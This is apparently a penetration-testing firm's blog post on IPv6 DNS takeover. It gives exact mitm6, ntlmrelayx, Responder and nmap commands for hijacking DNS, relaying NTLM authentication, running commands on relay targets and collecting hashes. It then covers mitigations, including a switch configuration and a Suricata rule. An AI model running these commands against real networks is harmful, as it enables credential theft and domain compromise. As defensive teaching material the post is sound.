IPv6 DNS Takeover

Most organizations spend significant effort locking down IPv4 infrastructure while leaving IPv6 wide open. This oversight is not a minor gap. It is an exploitable chasm. IPv6 DNS takeover attacks allow threat actors to silently position themselves as the authoritative DNS server on a network, intercept authentication traffic, and capture credential hashes without triggering a single alert in most environments.

This blog breaks down exactly how these attacks work, the tools and commands involved, and what defenders must do to close the door before an attacker walks through it.

What Is an IPv6 DNS Takeover Attack

An IPv6 DNS takeover, sometimes called a DHCPv6 DNS spoofing attack, exploits a fundamental behavior in Windows-based networks. Even when organizations have not formally deployed IPv6, modern Windows systems have it enabled by default and will actively prefer it over IPv4 when an IPv6 router or DHCPv6 server responds first.

The attack flow works like this. An attacker on the same local network segment runs a rogue DHCPv6 server. Windows clients, following RFC 3315, send out DHCPv6 Solicit messages looking for an IPv6 configuration. The attacker responds with a crafted DHCPv6 Advertise and Reply, assigning the client an IPv6 address and, critically, pointing the client's DNS server to the attacker's machine.

From that moment forward, the victim's DNS queries pass through the attacker's system. The attacker can redirect authentication requests, capture NTLMv2 hashes, and relay those hashes to access internal resources.

This is not theoretical. It is a technique that red teams deploy consistently in real-world engagements, and one that defenders routinely fail to detect.

If your organization's security posture has not been tested against IPv6 attack vectors, Redfox Cybersecurity's penetration testing services can surface these risks before a real attacker does.

Why IPv6 DNS Takeover Works So Effectively

Windows Prefers IPv6 by Default

Microsoft's implementation follows the RFC standard that treats IPv6 as the preferred protocol stack. This means that even in environments where all services run on IPv4, a Windows machine that receives a valid IPv6 configuration will use IPv6 for DNS resolution. An attacker does not need to touch any existing infrastructure. They only need to answer faster than any legitimate DHCPv6 server, which is trivial on a flat network.

LLMNR and NBT-NS Are Still Alive in Most Environments

Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) act as fallback name resolution mechanisms when DNS fails. These protocols broadcast name queries across the local segment, and any machine can answer. Combined with a rogue IPv6 DNS server, an attacker has multiple vectors to intercept resolution traffic.

Most Security Tools Do Not Monitor IPv6

Detection logic in many SIEM configurations, IDS rules, and endpoint tools is still written primarily around IPv4 traffic. DHCPv6 traffic on UDP port 547 often goes completely uninspected, and rogue DHCPv6 servers go undetected for entire engagement windows during red team operations.

The Full Attack Chain: Step by Step with Commands

Step 1: Setting Up the Rogue DHCPv6 Server with mitm6

The tool of choice for this attack is mitm6, developed by Dirk-jan Mollema. It is purpose-built to exploit IPv6 DNS in Windows environments.

Install it on a Kali Linux or Debian-based attacking machine:

pip3 install mitm6


Run mitm6 targeting a specific domain to limit scope and reduce noise:

sudo mitm6 -d corp.local


What happens here: mitm6 listens for DHCPv6 Solicit messages from Windows hosts, responds with a link-local IPv6 address, and assigns itself as the primary DNS server for the domain. Windows machines in the target environment will begin routing DNS queries through the attacker's machine within minutes, typically after the DHCPv6 lease renewal cycle or a network reconnect event.

To target a specific network interface:

sudo mitm6 -i eth0 -d corp.local


To filter and only respond to specific hosts (useful for scoped engagements):

sudo mitm6 -d corp.local --ignore-nofqdn


Step 2: Relay Authentication with ntlmrelayx

Once DNS is redirected through the attacker's machine, the next step is capturing and relaying authentication. impacket's ntlmrelayx is the standard tool for this phase.

In a separate terminal, launch ntlmrelayx pointing at a target or a list of targets:

sudo python3 ntlmrelayx.py -6 -t smb://192.168.1.10 -wh attacker-wpad -l /tmp/loot


Flag breakdown:

• -6 tells ntlmrelayx to listen on IPv6 as well as IPv4
• -t smb://192.168.1.10 specifies the relay target, typically a file server, domain controller, or any host with SMB signing disabled
• -wh attacker-wpad sets up a WPAD (Web Proxy Auto-Discovery) hostname, which triggers additional authentication from browsers
• -l /tmp/loot dumps enumerated data from successful relay sessions to a local directory

For targeting an entire subnet using a list of hosts:

sudo python3 ntlmrelayx.py -6 -tf targets.txt -wh attacker-wpad -l /tmp/loot -smb2support


Step 3: Triggering and Capturing Authentication

With both tools running, authentication triggers happen organically. Windows hosts attempting to access file shares, authenticate to web resources, or contact domain controllers will have their NTLM authentication relayed.

To actively trigger a connection and accelerate the attack, an attacker can use Responder in analyze mode to observe traffic without interfering with mitm6:

sudo responder -I eth0 -A


Note: Running Responder in full poisoning mode alongside mitm6 creates conflicts. Use analyze mode (-A) only, or disable Responder's SMB and HTTP servers in the Responder.conf file:

SMB = Off
HTTP = Off


Then run:

sudo responder -I eth0


This allows Responder to capture hashes on protocols mitm6 does not handle, while ntlmrelayx handles the relay chain.

Step 4: Dumping Credentials After a Successful Relay

When ntlmrelayx successfully relays an authentication to a target with SMB signing disabled, it can automatically dump SAM database entries or run secretsdump:

sudo python3 ntlmrelayx.py -6 -t smb://192.168.1.10 -wh attacker-wpad --no-http-server -smb2support -c "whoami"


To escalate further and dump the local SAM:

sudo python3 ntlmrelayx.py -6 -t smb://192.168.1.10 -wh attacker-wpad -smb2support -l /tmp/loot --enum-local-admins


After a relay session, loot captured in /tmp/loot will contain host enumeration data, share listings, and in many cases local user hashes that can be cracked offline.

This is the exact attack path Redfox Cybersecurity simulates during internal network penetration tests. If you want to know whether your environment is vulnerable before an attacker finds out, reach out to the Redfox Cybersecurity team for a scoped engagement.

Identifying Vulnerable Environments

Before running any attack simulation, a scoped assessment should confirm the conditions that make this attack viable.

Check if SMB Signing Is Disabled

SMB signing prevents relay attacks from succeeding even if DNS is hijacked. Use nmap to check:

nmap --script smb2-security-mode -p 445 192.168.1.0/24


Look for hosts returning:

Message signing enabled but not required


These are relay targets. Hosts returning "required" are protected from relay, though credential hashes can still be captured for offline cracking.

Enumerate IPv6 on the Network

Use nmap to discover IPv6-enabled hosts on the local segment:

nmap -6 -sn fe80::1/64


Or use a broader scan:

nmap -6 --script=targets-ipv6-multicast-invalid-dst.nse --script-args=newtargets -sL


If the network shows a large number of IPv6-enabled hosts and no DHCPv6 guard or RA guard configurations on switches, the environment is likely vulnerable to this class of attack.

Defensive Mitigations That Actually Work

Disable IPv6 If It Is Not in Use

If your organization does not use IPv6 in production, disable it. This is the cleanest mitigation. Use Group Policy to push a registry setting across the domain:

Registry path: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip6\ParametersValue name: DisabledComponentsValue data: 0xFF (disables all IPv6 components)

Via PowerShell on individual hosts:

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters" -Name "DisabledComponents" -Value 0xFF -Type DWord


Restart the machine for the change to take effect.

Enable DHCPv6 Guard and RA Guard on Managed Switches

DHCPv6 guard prevents unauthorized DHCPv6 servers from responding to client solicit messages. RA guard blocks unauthorized router advertisement packets. These are configured at the switch port level and are supported on most enterprise-grade switching hardware (Cisco, Juniper, Aruba).

On Cisco IOS-XE:

ipv6 dhcp guard policy DHCPv6_GUARD
device-role client
!
interface GigabitEthernet1/0/1
ipv6 dhcp guard attach-policy DHCPv6_GUARD


Require SMB Signing Domain-Wide

Even if DNS is hijacked, requiring SMB signing on all hosts breaks the relay chain. Deploy via Group Policy:

Path: Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options

Enable:

• Microsoft network client: Digitally sign communications (always)
• Microsoft network server: Digitally sign communications (always)

Block WPAD via DNS and Hosts File

Since the attack leverages WPAD for proxy authentication, create a DNS entry for WPAD pointing to a non-existent or controlled server, and ensure no legitimate WPAD file is served from attacker-reachable addresses.

Monitor for Rogue DHCPv6 Activity

Configure SIEM rules to alert on DHCPv6 traffic from unexpected sources. In environments using Zeek or Suricata, write signatures for DHCPv6 Advertise messages from non-authorized DHCP servers:

alert udp any 547 -> any 546 (msg:"Potential Rogue DHCPv6 Server"; sid:9000001; rev:1;)


Cross-reference source IPs against your authorized DHCP server list.

Real-World Impact: What Attackers Actually Get

In internal network engagements where this attack chain is viable, the outcomes are consistently damaging. Within minutes of deploying mitm6 and ntlmrelayx on a flat network:

Attackers capture NTLMv2 hashes from multiple workstations and servers. Those hashes, depending on password complexity, crack offline in minutes to hours using hashcat. Relayed sessions against SMB targets with signing disabled yield immediate shell access. In Active Directory environments, a single successful relay to a domain controller or a machine with a privileged account logged in can result in full domain compromise within a single engagement window.

The attack requires no credentials, no prior foothold beyond network access, and no user interaction beyond normal Windows behavior. That combination makes it uniquely dangerous.

Redfox Cybersecurity's internal network pentesting service tests for exactly these conditions, providing a full report with evidence, risk ratings, and remediation guidance tailored to your environment.

Wrapping Up

IPv6 DNS takeover is not a novel technique, but it remains one of the highest-yield attacks in real-world internal network penetration testing precisely because it exploits default Windows behavior that most organizations have not addressed. The combination of DHCPv6 spoofing, DNS hijacking, LLMNR poisoning, and NTLM relay gives attackers a reliable path to credential access and lateral movement with minimal effort and minimal noise.

The mitigation path is clear: disable unused IPv6, enforce SMB signing, deploy DHCPv6 guard at the switch level, and monitor for anomalous DHCPv6 traffic. Organizations that take these steps eliminate a significant portion of their internal network attack surface.

For those who want to verify their actual exposure rather than assume their controls are working, a professional penetration test is the most reliable method. Redfox Cybersecurity conducts targeted internal network assessments that simulate this exact attack chain, along with the full range of modern adversary techniques used against enterprise environments.

Do not wait for an attacker to demonstrate what your monitoring missed. Schedule a penetration test with Redfox Cybersecurity today and get a clear picture of your real-world risk.